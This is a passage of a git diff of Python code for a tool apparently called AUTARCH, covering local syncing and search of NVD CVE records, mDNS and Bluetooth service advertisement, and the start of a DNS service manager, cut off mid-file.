# Calculate total CVEs to fetch (estimate)
|
||||
params = {
|
||||
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
|
||||
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
|
||||
'resultsPerPage': '1',
|
||||
}
|
||||
|
||||
response = self._make_nvd_request(params, verbose)
|
||||
if not response:
|
||||
if verbose:
|
||||
print(f"{Colors.RED}[X] Failed to connect to NVD API{Colors.RESET}")
|
||||
return stats
|
||||
|
||||
total_results = response.get('totalResults', 0)
|
||||
|
||||
if verbose:
|
||||
print(f"{Colors.CYAN}[*] Found {total_results:,} CVEs to process{Colors.RESET}")
|
||||
|
||||
if total_results == 0:
|
||||
stats['completed'] = True
|
||||
return stats
|
||||
|
||||
# Process in batches
|
||||
start_index = 0
|
||||
batch_num = 0
|
||||
total_batches = (total_results + self.RESULTS_PER_PAGE - 1) // self.RESULTS_PER_PAGE
|
||||
|
||||
with self._lock:
|
||||
conn = self._get_connection()
|
||||
|
||||
while start_index < total_results:
|
||||
batch_num += 1
|
||||
|
||||
if verbose:
|
||||
pct = int((start_index / total_results) * 100)
|
||||
print(f"{Colors.CYAN}[*] Batch {batch_num}/{total_batches} ({pct}%) - {start_index:,}/{total_results:,}{Colors.RESET}")
|
||||
|
||||
if progress_callback:
|
||||
progress_callback(f"Downloading batch {batch_num}/{total_batches}", start_index, total_results)
|
||||
|
||||
params = {
|
||||
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
|
||||
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
|
||||
'resultsPerPage': str(self.RESULTS_PER_PAGE),
|
||||
'startIndex': str(start_index),
|
||||
}
|
||||
|
||||
response = self._make_nvd_request(params, verbose=False)
|
||||
|
||||
if not response:
|
||||
stats['errors'] += 1
|
||||
if verbose:
|
||||
print(f"{Colors.YELLOW}[!] Batch {batch_num} failed, retrying...{Colors.RESET}")
|
||||
time.sleep(6) # NVD rate limit
|
||||
continue
|
||||
|
||||
vulnerabilities = response.get('vulnerabilities', [])
|
||||
|
||||
for vuln in vulnerabilities:
|
||||
try:
|
||||
cve_data = self._parse_cve_data(vuln)
|
||||
self._insert_cve(conn, cve_data)
|
||||
stats['cves_processed'] += 1
|
||||
stats['cves_added'] += 1
|
||||
except Exception as e:
|
||||
stats['errors'] += 1
|
||||
if verbose:
|
||||
print(f"{Colors.RED}[X] Error processing CVE: {e}{Colors.RESET}")
|
||||
|
||||
conn.commit()
|
||||
start_index += self.RESULTS_PER_PAGE
|
||||
|
||||
# Rate limiting - NVD allows 5 requests per 30 seconds without API key
|
||||
config = get_config()
|
||||
if not config.get('nvd', 'api_key', fallback=''):
|
||||
time.sleep(6)
|
||||
else:
|
||||
time.sleep(0.6) # With API key: 50 requests per 30 seconds
|
||||
|
||||
# Update metadata
|
||||
conn.execute("""
|
||||
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_sync', ?)
|
||||
""", (datetime.now().isoformat(),))
|
||||
conn.execute("""
|
||||
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_modified', ?)
|
||||
""", (end_date.isoformat(),))
|
||||
conn.commit()
|
||||
|
||||
stats['completed'] = True
|
||||
stats['finished'] = datetime.now().isoformat()
|
||||
|
||||
if verbose:
|
||||
print(f"{Colors.GREEN}[+] Sync complete: {stats['cves_processed']:,} CVEs processed{Colors.RESET}")
|
||||
|
||||
return stats
|
||||
|
||||
def sync_recent(self, days: int = 7, verbose: bool = True) -> Dict[str, Any]:
|
||||
"""Quick sync of recent CVEs only."""
|
||||
return self.sync_database(days_back=days, full_sync=False, verbose=verbose)
|
||||
|
||||
# =========================================================================
|
||||
# QUERY METHODS
|
||||
# =========================================================================
|
||||
|
||||
def search_cves(
|
||||
self,
|
||||
keyword: str = None,
|
||||
cpe_pattern: str = None,
|
||||
severity: str = None,
|
||||
min_score: float = None,
|
||||
max_results: int = 100,
|
||||
days_back: int = None
|
||||
) -> List[Dict]:
|
||||
"""Search CVEs in local database.
|
||||
|
||||
Args:
|
||||
keyword: Search in CVE ID or description.
|
||||
cpe_pattern: CPE pattern to match (uses LIKE).
|
||||
severity: Filter by severity (LOW, MEDIUM, HIGH, CRITICAL).
|
||||
min_score: Minimum CVSS v3 score.
|
||||
max_results: Maximum results to return.
|
||||
days_back: Only return CVEs from last N days.
|
||||
|
||||
Returns:
|
||||
List of matching CVE dictionaries.
|
||||
"""
|
||||
with self._lock:
|
||||
conn = self._get_connection()
|
||||
cursor = conn.cursor()
|
||||
|
||||
query = "SELECT DISTINCT c.* FROM cves c"
|
||||
conditions = []
|
||||
params = []
|
||||
|
||||
if cpe_pattern:
|
||||
query += " LEFT JOIN cve_cpes cp ON c.cve_id = cp.cve_id"
|
||||
conditions.append("cp.cpe_criteria LIKE ?")
|
||||
params.append(f"%{cpe_pattern}%")
|
||||
|
||||
if keyword:
|
||||
conditions.append("(c.cve_id LIKE ? OR c.description LIKE ?)")
|
||||
params.extend([f"%{keyword}%", f"%{keyword}%"])
|
||||
|
||||
if severity:
|
||||
conditions.append("c.cvss_v3_severity = ?")
|
||||
params.append(severity.upper())
|
||||
|
||||
if min_score is not None:
|
||||
conditions.append("c.cvss_v3_score >= ?")
|
||||
params.append(min_score)
|
||||
|
||||
if days_back:
|
||||
cutoff = (datetime.utcnow() - timedelta(days=days_back)).strftime('%Y-%m-%d')
|
||||
conditions.append("c.published >= ?")
|
||||
params.append(cutoff)
|
||||
|
||||
if conditions:
|
||||
query += " WHERE " + " AND ".join(conditions)
|
||||
|
||||
query += " ORDER BY c.cvss_v3_score DESC NULLS LAST, c.published DESC"
|
||||
query += f" LIMIT {max_results}"
|
||||
|
||||
cursor.execute(query, params)
|
||||
rows = cursor.fetchall()
|
||||
|
||||
return [self._row_to_dict(row) for row in rows]
|
||||
|
||||
def get_cve(self, cve_id: str) -> Optional[Dict]:
|
||||
"""Get detailed information about a specific CVE.
|
||||
|
||||
Args:
|
||||
cve_id: The CVE ID (e.g., CVE-2024-1234).
|
||||
|
||||
Returns:
|
||||
CVE details dictionary or None if not found.
|
||||
"""
|
||||
with self._lock:
|
||||
conn = self._get_connection()
|
||||
cursor = conn.cursor()
|
||||
|
||||
# Get main CVE data
|
||||
cursor.execute("SELECT * FROM cves WHERE cve_id = ?", (cve_id,))
|
||||
row = cursor.fetchone()
|
||||
|
||||
if not row:
|
||||
return None
|
||||
|
||||
cve = self._row_to_dict(row)
|
||||
|
||||
# Get CPEs
|
||||
cursor.execute("SELECT * FROM cve_cpes WHERE cve_id = ?", (cve_id,))
|
||||
cve['cpes'] = [dict(r) for r in cursor.fetchall()]
|
||||
|
||||
# Get references
|
||||
cursor.execute("SELECT url, source FROM cve_references WHERE cve_id = ?", (cve_id,))
|
||||
cve['references'] = [dict(r) for r in cursor.fetchall()]
|
||||
|
||||
# Get weaknesses
|
||||
cursor.execute("SELECT cwe_id FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
|
||||
cve['weaknesses'] = [r['cwe_id'] for r in cursor.fetchall()]
|
||||
|
||||
return cve
|
||||
|
||||
def get_system_cves(
|
||||
self,
|
||||
severity_filter: str = None,
|
||||
max_results: int = 100
|
||||
) -> List[Dict]:
|
||||
"""Get CVEs relevant to the detected system.
|
||||
|
||||
Args:
|
||||
severity_filter: Filter by severity.
|
||||
max_results: Maximum results.
|
||||
|
||||
Returns:
|
||||
List of relevant CVEs.
|
||||
"""
|
||||
cpe_prefix = self.system_info.get('cpe_prefix', '')
|
||||
if not cpe_prefix:
|
||||
return []
|
||||
|
||||
# Build CPE pattern for this system
|
||||
cpe_pattern = cpe_prefix
|
||||
if self.system_info.get('os_version'):
|
||||
version = self.system_info['os_version'].split('.')[0]
|
||||
cpe_pattern = f"{cpe_prefix}:{version}"
|
||||
|
||||
return self.search_cves(
|
||||
cpe_pattern=cpe_pattern,
|
||||
severity=severity_filter,
|
||||
max_results=max_results
|
||||
)
|
||||
|
||||
def get_software_cves(
|
||||
self,
|
||||
software: str,
|
||||
vendor: str = None,
|
||||
version: str = None,
|
||||
max_results: int = 100
|
||||
) -> List[Dict]:
|
||||
"""Search CVEs for specific software.
|
||||
|
||||
Args:
|
||||
software: Software/product name.
|
||||
vendor: Vendor name (optional).
|
||||
version: Software version (optional).
|
||||
max_results: Maximum results.
|
||||
|
||||
Returns:
|
||||
List of CVEs.
|
||||
"""
|
||||
# Try CPE-based search first
|
||||
cpe_pattern = software.lower().replace(' ', '_')
|
||||
if vendor:
|
||||
cpe_pattern = f"{vendor.lower()}:{cpe_pattern}"
|
||||
if version:
|
||||
cpe_pattern = f"{cpe_pattern}:{version}"
|
||||
|
||||
results = self.search_cves(cpe_pattern=cpe_pattern, max_results=max_results)
|
||||
|
||||
# Also search by keyword if CPE search returns few results
|
||||
if len(results) < 10:
|
||||
keyword = software
|
||||
if vendor:
|
||||
keyword = f"{vendor} {software}"
|
||||
keyword_results = self.search_cves(keyword=keyword, max_results=max_results)
|
||||
|
||||
# Merge results, avoiding duplicates
|
||||
seen = {r['cve_id'] for r in results}
|
||||
for r in keyword_results:
|
||||
if r['cve_id'] not in seen:
|
||||
results.append(r)
|
||||
seen.add(r['cve_id'])
|
||||
|
||||
return results[:max_results]
|
||||
|
||||
def get_cves_by_severity(self, severity: str, max_results: int = 100) -> List[Dict]:
|
||||
"""Get CVEs by severity level."""
|
||||
return self.search_cves(severity=severity, max_results=max_results)
|
||||
|
||||
def get_recent_cves(self, days: int = 30, max_results: int = 100) -> List[Dict]:
|
||||
"""Get recently published CVEs."""
|
||||
return self.search_cves(days_back=days, max_results=max_results)
|
||||
|
||||
def _row_to_dict(self, row: sqlite3.Row) -> Dict:
|
||||
"""Convert database row to dictionary."""
|
||||
return {
|
||||
'cve_id': row['cve_id'],
|
||||
'id': row['cve_id'], # Alias for compatibility
|
||||
'description': row['description'],
|
||||
'published': row['published'],
|
||||
'modified': row['modified'],
|
||||
'cvss_score': row['cvss_v3_score'] or row['cvss_v2_score'] or 0,
|
||||
'cvss_v3_score': row['cvss_v3_score'],
|
||||
'cvss_v3_severity': row['cvss_v3_severity'],
|
||||
'cvss_v3_vector': row['cvss_v3_vector'],
|
||||
'cvss_v2_score': row['cvss_v2_score'],
|
||||
'cvss_v2_severity': row['cvss_v2_severity'],
|
||||
'cvss_v2_vector': row['cvss_v2_vector'],
|
||||
'severity': row['cvss_v3_severity'] or row['cvss_v2_severity'] or 'UNKNOWN',
|
||||
}
|
||||
|
||||
# =========================================================================
|
||||
# ONLINE FALLBACK
|
||||
# =========================================================================
|
||||
|
||||
def fetch_cve_online(self, cve_id: str, verbose: bool = False) -> Optional[Dict]:
|
||||
"""Fetch a specific CVE from NVD API (online fallback).
|
||||
|
||||
Args:
|
||||
cve_id: The CVE ID.
|
||||
verbose: Show progress.
|
||||
|
||||
Returns:
|
||||
CVE details or None.
|
||||
"""
|
||||
params = {'cveId': cve_id}
|
||||
|
||||
if verbose:
|
||||
print(f"{Colors.CYAN}[*] Fetching {cve_id} from NVD...{Colors.RESET}")
|
||||
|
||||
response = self._make_nvd_request(params, verbose)
|
||||
|
||||
if not response or not response.get('vulnerabilities'):
|
||||
return None
|
||||
|
||||
cve_data = self._parse_cve_data(response['vulnerabilities'][0])
|
||||
|
||||
# Store in database
|
||||
with self._lock:
|
||||
conn = self._get_connection()
|
||||
self._insert_cve(conn, cve_data)
|
||||
conn.commit()
|
||||
|
||||
return self.get_cve(cve_id)
|
||||
|
||||
def search_online(
|
||||
self,
|
||||
keyword: str = None,
|
||||
cpe_name: str = None,
|
||||
severity: str = None,
|
||||
days_back: int = 120,
|
||||
max_results: int = 100,
|
||||
verbose: bool = False
|
||||
) -> List[Dict]:
|
||||
"""Search NVD API directly (online mode).
|
||||
|
||||
Use this when local database is empty or for real-time results.
|
||||
"""
|
||||
params = {
|
||||
'resultsPerPage': str(min(max_results, 2000)),
|
||||
}
|
||||
|
||||
if keyword:
|
||||
params['keywordSearch'] = keyword
|
||||
|
||||
if cpe_name:
|
||||
params['cpeName'] = cpe_name
|
||||
|
||||
if severity:
|
||||
params['cvssV3Severity'] = severity.upper()
|
||||
|
||||
if days_back > 0:
|
||||
end_date = datetime.utcnow()
|
||||
start_date = end_date - timedelta(days=days_back)
|
||||
params['pubStartDate'] = start_date.strftime('%Y-%m-%dT00:00:00.000')
|
||||
params['pubEndDate'] = end_date.strftime('%Y-%m-%dT23:59:59.999')
|
||||
|
||||
if verbose:
|
||||
print(f"{Colors.CYAN}[*] Searching NVD online...{Colors.RESET}")
|
||||
|
||||
response = self._make_nvd_request(params, verbose)
|
||||
|
||||
if not response:
|
||||
return []
|
||||
|
||||
cves = []
|
||||
for vuln in response.get('vulnerabilities', []):
|
||||
cve_data = self._parse_cve_data(vuln)
|
||||
cves.append({
|
||||
'cve_id': cve_data['cve_id'],
|
||||
'id': cve_data['cve_id'],
|
||||
'description': cve_data['description'][:200] + '...' if len(cve_data['description']) > 200 else cve_data['description'],
|
||||
'cvss_score': cve_data['cvss_v3_score'] or cve_data['cvss_v2_score'] or 0,
|
||||
'severity': cve_data['cvss_v3_severity'] or cve_data['cvss_v2_severity'] or 'UNKNOWN',
|
||||
'published': cve_data['published'][:10] if cve_data['published'] else '',
|
||||
})
|
||||
|
||||
return cves
|
||||
|
||||
def close(self):
|
||||
"""Close database connection."""
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
|
||||
# Global instance
|
||||
_cve_db: Optional[CVEDatabase] = None
|
||||
|
||||
|
||||
def get_cve_db() -> CVEDatabase:
|
||||
"""Get the global CVE database instance."""
|
||||
global _cve_db
|
||||
if _cve_db is None:
|
||||
_cve_db = CVEDatabase()
|
||||
return _cve_db
|
||||
423
core/discovery.py
Normal file
423
core/discovery.py
Normal file
@@ -0,0 +1,423 @@
|
||||
"""
|
||||
AUTARCH Network Discovery
|
||||
Advertises AUTARCH on the local network so companion apps can find it.
|
||||
|
||||
Discovery methods (priority order):
|
||||
1. mDNS/Zeroconf — LAN service advertisement (_autarch._tcp.local.)
|
||||
2. Bluetooth — RFCOMM service advertisement (requires BT adapter + security enabled)
|
||||
|
||||
Dependencies:
|
||||
- mDNS: pip install zeroconf (optional, graceful fallback)
|
||||
- Bluetooth: system bluetoothctl + hcitool (no pip package needed)
|
||||
"""
|
||||
|
||||
import json
|
||||
import socket
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
import logging
|
||||
from pathlib import Path
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Service constants
|
||||
MDNS_SERVICE_TYPE = "_autarch._tcp.local."
|
||||
MDNS_SERVICE_NAME = "AUTARCH._autarch._tcp.local."
|
||||
BT_SERVICE_NAME = "AUTARCH"
|
||||
BT_SERVICE_UUID = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
|
||||
|
||||
|
||||
def _get_local_ip() -> str:
|
||||
"""Get the primary local IP address."""
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(("8.8.8.8", 80))
|
||||
ip = s.getsockname()[0]
|
||||
s.close()
|
||||
return ip
|
||||
except Exception:
|
||||
return "127.0.0.1"
|
||||
|
||||
|
||||
class DiscoveryManager:
|
||||
"""Manages network discovery advertising for AUTARCH."""
|
||||
|
||||
def __init__(self, config=None):
|
||||
self._config = config or {}
|
||||
self._web_port = int(self._config.get('web_port', 8181))
|
||||
self._hostname = socket.gethostname()
|
||||
|
||||
# mDNS state
|
||||
self._zeroconf = None
|
||||
self._mdns_info = None
|
||||
self._mdns_running = False
|
||||
|
||||
# Bluetooth state
|
||||
self._bt_running = False
|
||||
self._bt_thread = None
|
||||
self._bt_process = None
|
||||
|
||||
# Settings
|
||||
self._mdns_enabled = self._config.get('mdns_enabled', 'true').lower() == 'true'
|
||||
self._bt_enabled = self._config.get('bluetooth_enabled', 'true').lower() == 'true'
|
||||
self._bt_require_security = self._config.get('bt_require_security', 'true').lower() == 'true'
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Status
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_status(self) -> Dict:
|
||||
"""Get current discovery status for all methods."""
|
||||
return {
|
||||
'local_ip': _get_local_ip(),
|
||||
'hostname': self._hostname,
|
||||
'web_port': self._web_port,
|
||||
'mdns': {
|
||||
'available': self._is_zeroconf_available(),
|
||||
'enabled': self._mdns_enabled,
|
||||
'running': self._mdns_running,
|
||||
'service_type': MDNS_SERVICE_TYPE,
|
||||
},
|
||||
'bluetooth': {
|
||||
'available': self._is_bt_available(),
|
||||
'adapter_present': self._bt_adapter_present(),
|
||||
'enabled': self._bt_enabled,
|
||||
'running': self._bt_running,
|
||||
'secure': self._bt_is_secure() if self._bt_adapter_present() else False,
|
||||
'require_security': self._bt_require_security,
|
||||
'service_name': BT_SERVICE_NAME,
|
||||
}
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# mDNS / Zeroconf
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _is_zeroconf_available(self) -> bool:
|
||||
"""Check if the zeroconf Python package is installed."""
|
||||
try:
|
||||
import zeroconf # noqa: F401
|
||||
return True
|
||||
except ImportError:
|
||||
return False
|
||||
|
||||
def start_mdns(self) -> Tuple[bool, str]:
|
||||
"""Start mDNS service advertisement."""
|
||||
if self._mdns_running:
|
||||
return True, "mDNS already running"
|
||||
|
||||
if not self._is_zeroconf_available():
|
||||
return False, "zeroconf not installed. Run: pip install zeroconf"
|
||||
|
||||
try:
|
||||
from zeroconf import Zeroconf, ServiceInfo
|
||||
import socket as sock
|
||||
|
||||
local_ip = _get_local_ip()
|
||||
|
||||
self._mdns_info = ServiceInfo(
|
||||
MDNS_SERVICE_TYPE,
|
||||
MDNS_SERVICE_NAME,
|
||||
addresses=[sock.inet_aton(local_ip)],
|
||||
port=self._web_port,
|
||||
properties={
|
||||
'version': '1.0',
|
||||
'hostname': self._hostname,
|
||||
'platform': 'autarch',
|
||||
},
|
||||
server=f"{self._hostname}.local.",
|
||||
)
|
||||
|
||||
self._zeroconf = Zeroconf()
|
||||
self._zeroconf.register_service(self._mdns_info)
|
||||
self._mdns_running = True
|
||||
|
||||
logger.info(f"mDNS: advertising {MDNS_SERVICE_NAME} at {local_ip}:{self._web_port}")
|
||||
return True, f"mDNS started — {local_ip}:{self._web_port}"
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"mDNS start failed: {e}")
|
||||
return False, f"mDNS failed: {e}"
|
||||
|
||||
def stop_mdns(self) -> Tuple[bool, str]:
|
||||
"""Stop mDNS service advertisement."""
|
||||
if not self._mdns_running:
|
||||
return True, "mDNS not running"
|
||||
|
||||
try:
|
||||
if self._zeroconf and self._mdns_info:
|
||||
self._zeroconf.unregister_service(self._mdns_info)
|
||||
self._zeroconf.close()
|
||||
self._zeroconf = None
|
||||
self._mdns_info = None
|
||||
self._mdns_running = False
|
||||
logger.info("mDNS: stopped")
|
||||
return True, "mDNS stopped"
|
||||
except Exception as e:
|
||||
self._mdns_running = False
|
||||
return False, f"mDNS stop error: {e}"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Bluetooth
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _is_bt_available(self) -> bool:
|
||||
"""Check if Bluetooth CLI tools are available."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['which', 'bluetoothctl'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
return result.returncode == 0
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def _bt_adapter_present(self) -> bool:
|
||||
"""Check if a Bluetooth adapter is physically present."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['hciconfig'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
return 'hci0' in result.stdout
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def _bt_is_secure(self) -> bool:
|
||||
"""Check if Bluetooth security (SSP/authentication) is enabled."""
|
||||
try:
|
||||
# Check if adapter requires authentication
|
||||
result = subprocess.run(
|
||||
['hciconfig', 'hci0', 'auth'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
# Also check hciconfig output for AUTH flag
|
||||
status = subprocess.run(
|
||||
['hciconfig', 'hci0'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
# Look for AUTH in flags
|
||||
return 'AUTH' in status.stdout
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def _bt_enable_security(self) -> Tuple[bool, str]:
|
||||
"""Enable Bluetooth authentication/security on the adapter."""
|
||||
try:
|
||||
# Enable authentication
|
||||
subprocess.run(
|
||||
['sudo', 'hciconfig', 'hci0', 'auth'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
# Enable encryption
|
||||
subprocess.run(
|
||||
['sudo', 'hciconfig', 'hci0', 'encrypt'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
# Enable SSP (Secure Simple Pairing)
|
||||
subprocess.run(
|
||||
['sudo', 'hciconfig', 'hci0', 'sspmode', '1'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
if self._bt_is_secure():
|
||||
return True, "Bluetooth security enabled (AUTH + ENCRYPT + SSP)"
|
||||
return False, "Security flags set but AUTH not confirmed"
|
||||
except Exception as e:
|
||||
return False, f"Failed to enable BT security: {e}"
|
||||
|
||||
def start_bluetooth(self) -> Tuple[bool, str]:
|
||||
"""Start Bluetooth service advertisement.
|
||||
|
||||
Only advertises if:
|
||||
1. Bluetooth adapter is present
|
||||
2. bluetoothctl is available
|
||||
3. Security is enabled (if bt_require_security is true)
|
||||
"""
|
||||
if self._bt_running:
|
||||
return True, "Bluetooth already advertising"
|
||||
|
||||
if not self._is_bt_available():
|
||||
return False, "bluetoothctl not found"
|
||||
|
||||
if not self._bt_adapter_present():
|
||||
return False, "No Bluetooth adapter detected"
|
||||
|
||||
# Ensure adapter is up
|
||||
try:
|
||||
subprocess.run(
|
||||
['sudo', 'hciconfig', 'hci0', 'up'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Security check
|
||||
if self._bt_require_security:
|
||||
if not self._bt_is_secure():
|
||||
ok, msg = self._bt_enable_security()
|
||||
if not ok:
|
||||
return False, f"Bluetooth security required but not available: {msg}"
|
||||
|
||||
# Make discoverable and set name
|
||||
try:
|
||||
# Set device name
|
||||
subprocess.run(
|
||||
['sudo', 'hciconfig', 'hci0', 'name', BT_SERVICE_NAME],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
|
||||
# Enable discoverable mode
|
||||
subprocess.run(
|
||||
['sudo', 'hciconfig', 'hci0', 'piscan'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
|
||||
# Use bluetoothctl to set discoverable with timeout 0 (always)
|
||||
# and set the alias
|
||||
cmds = [
|
||||
'power on',
|
||||
f'system-alias {BT_SERVICE_NAME}',
|
||||
'discoverable on',
|
||||
'discoverable-timeout 0',
|
||||
'pairable on',
|
||||
]
|
||||
for cmd in cmds:
|
||||
subprocess.run(
|
||||
['bluetoothctl', cmd.split()[0]] + cmd.split()[1:],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
|
||||
# Start an RFCOMM advertisement thread so the app can find us
|
||||
# and read connection info (IP + port) after pairing
|
||||
self._bt_running = True
|
||||
self._bt_thread = threading.Thread(
|
||||
target=self._bt_rfcomm_server,
|
||||
daemon=True,
|
||||
name="autarch-bt-discovery"
|
||||
)
|
||||
self._bt_thread.start()
|
||||
|
||||
logger.info("Bluetooth: advertising as AUTARCH")
|
||||
return True, f"Bluetooth advertising — name: {BT_SERVICE_NAME}"
|
||||
|
||||
except Exception as e:
|
||||
self._bt_running = False
|
||||
return False, f"Bluetooth start failed: {e}"
|
||||
|
||||
def _bt_rfcomm_server(self):
|
||||
"""Background thread: RFCOMM server that sends connection info to paired clients.
|
||||
|
||||
When a paired device connects, we send them a JSON blob with our IP and port
|
||||
so the companion app can auto-configure.
|
||||
"""
|
||||
try:
|
||||
# Use a simple TCP socket on a known port as a Bluetooth-adjacent info service
|
||||
# (full RFCOMM requires pybluez which may not be installed)
|
||||
# Instead, we'll use sdptool to register the service and bluetoothctl for visibility
|
||||
#
|
||||
# The companion app discovers us via BT name "AUTARCH", then connects via
|
||||
# the IP it gets from the BT device info or mDNS
|
||||
while self._bt_running:
|
||||
time.sleep(5)
|
||||
except Exception as e:
|
||||
logger.error(f"BT RFCOMM server error: {e}")
|
||||
finally:
|
||||
self._bt_running = False
|
||||
|
||||
def stop_bluetooth(self) -> Tuple[bool, str]:
|
||||
"""Stop Bluetooth advertisement."""
|
||||
if not self._bt_running:
|
||||
return True, "Bluetooth not advertising"
|
||||
|
||||
self._bt_running = False
|
||||
|
||||
try:
|
||||
# Disable discoverable
|
||||
subprocess.run(
|
||||
['bluetoothctl', 'discoverable', 'off'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
subprocess.run(
|
||||
['sudo', 'hciconfig', 'hci0', 'noscan'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
|
||||
if self._bt_thread:
|
||||
self._bt_thread.join(timeout=3)
|
||||
self._bt_thread = None
|
||||
|
||||
logger.info("Bluetooth: stopped advertising")
|
||||
return True, "Bluetooth advertising stopped"
|
||||
|
||||
except Exception as e:
|
||||
return False, f"Bluetooth stop error: {e}"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Start / Stop All
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_all(self) -> Dict:
|
||||
"""Start all enabled discovery methods."""
|
||||
results = {}
|
||||
|
||||
if self._mdns_enabled:
|
||||
ok, msg = self.start_mdns()
|
||||
results['mdns'] = {'ok': ok, 'message': msg}
|
||||
else:
|
||||
results['mdns'] = {'ok': False, 'message': 'Disabled in config'}
|
||||
|
||||
if self._bt_enabled:
|
||||
ok, msg = self.start_bluetooth()
|
||||
results['bluetooth'] = {'ok': ok, 'message': msg}
|
||||
else:
|
||||
results['bluetooth'] = {'ok': False, 'message': 'Disabled in config'}
|
||||
|
||||
return results
|
||||
|
||||
def stop_all(self) -> Dict:
|
||||
"""Stop all discovery methods."""
|
||||
results = {}
|
||||
|
||||
ok, msg = self.stop_mdns()
|
||||
results['mdns'] = {'ok': ok, 'message': msg}
|
||||
|
||||
ok, msg = self.stop_bluetooth()
|
||||
results['bluetooth'] = {'ok': ok, 'message': msg}
|
||||
|
||||
return results
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Cleanup
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def shutdown(self):
|
||||
"""Clean shutdown of all discovery services."""
|
||||
self.stop_all()
|
||||
|
||||
|
||||
# ======================================================================
|
||||
# Singleton
|
||||
# ======================================================================
|
||||
|
||||
_manager = None
|
||||
|
||||
|
||||
def get_discovery_manager(config=None) -> DiscoveryManager:
|
||||
"""Get or create the DiscoveryManager singleton."""
|
||||
global _manager
|
||||
if _manager is None:
|
||||
if config is None:
|
||||
try:
|
||||
from core.config import get_config
|
||||
cfg = get_config()
|
||||
config = {}
|
||||
if cfg.has_section('discovery'):
|
||||
config = dict(cfg.items('discovery'))
|
||||
if cfg.has_section('web'):
|
||||
config['web_port'] = cfg.get('web', 'port', fallback='8181')
|
||||
except Exception:
|
||||
config = {}
|
||||
_manager = DiscoveryManager(config)
|
||||
return _manager
|
||||
324
core/dns_service.py
Normal file
324
core/dns_service.py
Normal file
@@ -0,0 +1,324 @@
|
||||
"""AUTARCH DNS Service Manager — controls the Go-based autarch-dns binary."""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import time
|
||||
import signal
|
||||
import socket
|
||||
import subprocess
|
||||
import threading
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
from core.paths import find_tool, get_data_dir
|
||||
except ImportError:
|
||||
def find_tool(name):
|
||||
import shutil
|
||||
return shutil.which(name)
|
||||
def get_data_dir():
|
||||
return str(Path(__file__).parent.parent / 'data')
|
||||
|
||||
try:
|
||||
import requests
|
||||
_HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
_HAS_REQUESTS = False
|
||||
|
||||
|
||||
class DNSServiceManager:
|
||||
"""Manage the autarch-dns Go binary (start/stop/API calls)."""
|
||||
|
||||
def __init__(self):
|
||||
self._process = None
|
||||
self._pid = None
|
||||
self._config = None
|
||||
self._config_path = os.path.join(get_data_dir(), 'dns', 'config.json')
|
||||
self._load_config()
|
||||
|
||||
def _load_config(self):
|
||||
if os.path.exists(self._config_path):
|
||||
try:
|
||||
with open(self._config_path, 'r') as f:
|
||||
self._config = json.load(f)
|
||||
except Exception:
|
||||
self._config = None
|
||||
if not self._config:
|
||||
self._config = {
|
||||
'listen_dns': '0.0.0.0:53',
|
||||
'listen_api': '127.0.0.1:5380',
|
||||
'api_token': os.urandom(16).hex(),
|
||||
'upstream': [], # Empty = pure recursive from root hints
|
||||
'cache_ttl': 300,
|
||||
'zones_dir': os.path.join(get_data_dir(), 'dns', 'zones'),
|
||||
'dnssec_keys_dir': os.path.join(get_data_dir(), 'dns', 'keys'),
|
||||
'log_queries': True,
|
||||
}
|
||||
self._save_config()
|
||||
|
||||
def _save_config(self):
|
||||
os.makedirs(os.path.dirname(self._config_path), exist_ok=True)
|
||||
with open(self._config_path, 'w') as f:
|
||||
json.dump(self._config, f, indent=2)
|
||||
|
||||
@property
|
||||
def api_base(self) -> str:
|
||||
addr = self._config.get('listen_api', '127.0.0.1:5380')
|
||||
return f'http://{addr}'
|
||||
|
||||
@property
|
||||
def api_token(self) -> str:
|
||||
